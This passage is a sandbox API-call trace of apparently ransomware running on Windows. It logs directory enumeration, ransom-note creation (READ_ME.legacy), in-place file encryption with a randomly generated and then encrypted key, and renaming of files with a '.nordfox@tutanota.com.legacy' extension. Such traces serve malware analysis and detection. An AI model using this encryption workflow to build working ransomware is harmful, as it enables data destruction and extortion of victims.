lpMem=0x5c5fd8 | out: hHeap=0x520000) returned 1 [0115.646] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20300 [0115.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20300 | out: hHeap=0x520000) returned 1 [0115.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.646] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.646] FindNextFileW (in: hFindFile=0x5c6118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8bd8 | out: hHeap=0x520000) returned 1 [0115.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579070 [0115.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579070 | out: hHeap=0x520000) returned 1 [0115.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0115.647] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.647] GetLastError () returned 0x0 [0115.647] SetLastError (dwErrCode=0x0) [0115.647] GetLastError () returned 0x0 [0115.647] SetLastError (dwErrCode=0x0) [0115.647] GetLastError () returned 0x0 [0115.647] SetLastError (dwErrCode=0x0) [0115.647] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0115.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d870 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d870 | out: hHeap=0x520000) returned 1 [0115.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c62d8 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c62d8 | out: hHeap=0x520000) returned 1 [0115.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201c8 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201c8 | out: hHeap=0x520000) returned 1 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0115.648] FindNextFileW (in: hFindFile=0x5c6118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0115.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0115.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0115.648] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0115.648] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.649] GetLastError () returned 0x0 [0115.649] SetLastError (dwErrCode=0x0) [0115.649] GetLastError () returned 0x0 [0115.649] SetLastError (dwErrCode=0x0) [0115.649] GetLastError () returned 0x0 [0115.649] SetLastError (dwErrCode=0x0) [0115.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d758 | out: hHeap=0x520000) returned 1 [0115.649] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8b10 [0115.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d758 [0115.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8fc0 [0115.649] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3408 [0115.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3478 [0115.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578a88 [0115.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0115.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578a88 | out: hHeap=0x520000) returned 1 [0115.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0115.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0115.650] GetLastError () returned 0x0 [0115.650] SetLastError (dwErrCode=0x0) [0115.650] GetLastError () returned 0x0 [0115.650] SetLastError (dwErrCode=0x0) [0115.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x571fc8 [0115.650] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0115.650] GetLastError () returned 0x0 [0115.650] SetLastError (dwErrCode=0x0) [0115.650] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x5646a8 [0115.651] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{37b8f9c7-03fb-3253-8781-2517c99d7c00}v11.0.61030\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x650 [0115.652] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5646a8 | out: hHeap=0x520000) returned 1 [0115.652] WriteFile (in: hFile=0x650, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0115.653] CloseHandle (hObject=0x650) returned 1 [0115.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571fc8 | out: hHeap=0x520000) returned 1 [0115.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3478 | out: hHeap=0x520000) returned 1 [0115.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3408 | out: hHeap=0x520000) returned 1 [0115.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8fc0 | out: hHeap=0x520000) returned 1 [0115.653] FindNextFileW (in: hFindFile=0x5c6118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dd7185, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dd7185, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.653] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0115.653] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e78 [0115.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e78 | out: hHeap=0x520000) returned 1 [0115.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9150 [0115.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.654] GetLastError () returned 0x0 [0115.654] SetLastError (dwErrCode=0x0) [0115.654] GetLastError () returned 0x0 [0115.654] SetLastError (dwErrCode=0x0) [0115.654] GetLastError () returned 0x0 [0115.654] SetLastError (dwErrCode=0x0) [0115.654] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.654] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.654] FindNextFileW (in: hFindFile=0x5c6118, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dd7185, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dd7185, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dd7185, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0115.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x90) returned 0x5e7328 [0115.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e81f8 | out: hHeap=0x520000) returned 1 [0115.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555868 | out: hHeap=0x520000) returned 1 [0115.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571d38 | out: hHeap=0x520000) returned 1 [0115.655] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6258 [0115.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9150 | out: hHeap=0x520000) returned 1 [0115.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c80 [0115.655] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.655] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c80 | out: hHeap=0x520000) returned 1 [0115.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e9470 [0115.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.656] GetLastError () returned 0x12 [0115.656] SetLastError (dwErrCode=0x12) [0115.656] GetLastError () returned 0x12 [0115.656] SetLastError (dwErrCode=0x12) [0115.656] GetLastError () returned 0x12 [0115.656] SetLastError (dwErrCode=0x12) [0115.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0115.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d240 [0115.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d240 | out: hHeap=0x520000) returned 1 [0115.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c63d8 [0115.656] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c63d8 | out: hHeap=0x520000) returned 1 [0115.656] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0115.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0115.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0115.657] FindNextFileW (in: hFindFile=0x5c6258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebeed6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e9470 | out: hHeap=0x520000) returned 1 [0115.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ad0 [0115.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ad0 | out: hHeap=0x520000) returned 1 [0115.657] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0115.657] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.657] GetLastError () returned 0x12 [0115.657] SetLastError (dwErrCode=0x12) [0115.657] GetLastError () returned 0x12 [0115.657] SetLastError (dwErrCode=0x12) [0115.657] GetLastError () returned 0x12 [0115.657] SetLastError (dwErrCode=0x12) [0115.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574c18 [0115.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d7c0 [0115.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d7c0 | out: hHeap=0x520000) returned 1 [0115.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x5c5fd8 [0115.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c5fd8 | out: hHeap=0x520000) returned 1 [0115.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20228 [0115.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20228 | out: hHeap=0x520000) returned 1 [0115.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574c18 | out: hHeap=0x520000) returned 1 [0115.658] FindNextFileW (in: hFindFile=0x5c6258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2dfd222, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2dfd222, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2dfd222, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0115.658] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0115.658] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0115.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0115.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0115.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.659] GetLastError () returned 0x12 [0115.659] SetLastError (dwErrCode=0x12) [0115.659] GetLastError () returned 0x12 [0115.659] SetLastError (dwErrCode=0x12) [0115.659] GetLastError () returned 0x12 [0115.659] SetLastError (dwErrCode=0x12) [0115.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.659] FindNextFileW (in: hFindFile=0x5c6258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd40b2b5b, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd40b2b5b, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x3639a1f2, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x27e, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0115.659] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0115.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f08 [0115.659] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0115.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f08 | out: hHeap=0x520000) returned 1 [0115.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8d68 [0115.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0115.660] GetLastError () returned 0x12 [0115.660] SetLastError (dwErrCode=0x12) [0115.660] GetLastError () returned 0x12 [0115.660] SetLastError (dwErrCode=0x12) [0115.660] GetLastError () returned 0x12 [0115.660] SetLastError (dwErrCode=0x12) [0115.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d780 [0115.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d780 | out: hHeap=0x520000) returned 1 [0115.660] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563df8 [0115.660] FindNextFileW (in: hFindFile=0x5c6258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0115.660] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8d68 | out: hHeap=0x520000) returned 1 [0115.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578e30 [0115.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559d10 [0115.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578e30 | out: hHeap=0x520000) returned 1 [0115.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0115.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559d10 | out: hHeap=0x520000) returned 1 [0115.661] GetLastError () returned 0x12 [0115.661] SetLastError (dwErrCode=0x12) [0115.661] GetLastError () returned 0x12 [0115.661] SetLastError (dwErrCode=0x12) [0115.661] GetLastError () returned 0x12 [0115.661] SetLastError (dwErrCode=0x12) [0115.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0115.661] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0115.661] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7fd0 [0115.661] FindNextFileW (in: hFindFile=0x5c6258, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd408c921, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xd408c921, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd4040448, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x710a8, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="vcredist_x64.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0115.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e77e8 [0115.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c53a0 [0115.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c3438 [0115.662] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c53a0 | out: pbBuffer=0x5c53a0) returned 1 [0115.662] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c3438 | out: pbBuffer=0x5c3438) returned 1 [0115.662] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe", dwFileAttributes=0x80) returned 1 [0115.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8590 [0115.662] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x110) returned 0x585170 [0115.663] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8590 | out: hHeap=0x520000) returned 1 [0115.663] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x654 [0115.663] GetFileSizeEx (in: hFile=0x654, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=463016) returned 1 [0115.663] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x710a8) returned 0x2e20f20 [0115.665] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x710a8) returned 0x2e91fd0 [0115.666] ReadFile (in: hFile=0x654, lpBuffer=0x2e20f20, nNumberOfBytesToRead=0x710a8, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e20f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x710a8, lpOverlapped=0x0) returned 1 [0115.709] SetFilePointer (in: hFile=0x654, lDistanceToMove=-463016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.709] WriteFile (in: hFile=0x654, lpBuffer=0x2e91fd0*, nNumberOfBytesToWrite=0x710a8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2e91fd0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x710a8, lpOverlapped=0x0) returned 1 [0115.710] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20f20 | out: hHeap=0x520000) returned 1 [0115.726] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e91fd0 | out: hHeap=0x520000) returned 1 [0115.731] SetFilePointer (in: hFile=0x654, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x710a8 [0115.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.731] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c53a0*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.732] WriteFile (in: hFile=0x654, lpBuffer=0x5c53a0*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c53a0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.732] WriteFile (in: hFile=0x654, lpBuffer=0x5c3438*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3438*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.732] CloseHandle (hObject=0x654) returned 1 [0115.732] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c53a0 | out: hHeap=0x520000) returned 1 [0115.733] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3438 | out: hHeap=0x520000) returned 1 [0115.733] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{3c3aafc8-d898-43ec-998f-965ffdae065a}\\vcredist_x64.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585170 | out: hHeap=0x520000) returned 1 [0115.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e77e8 | out: hHeap=0x520000) returned 1 [0115.735] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fd0 | out: hHeap=0x520000) returned 1 [0115.735] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0115.735] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4320 [0115.735] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.735] CryptGenRandom (in: hProv=0x55a150, 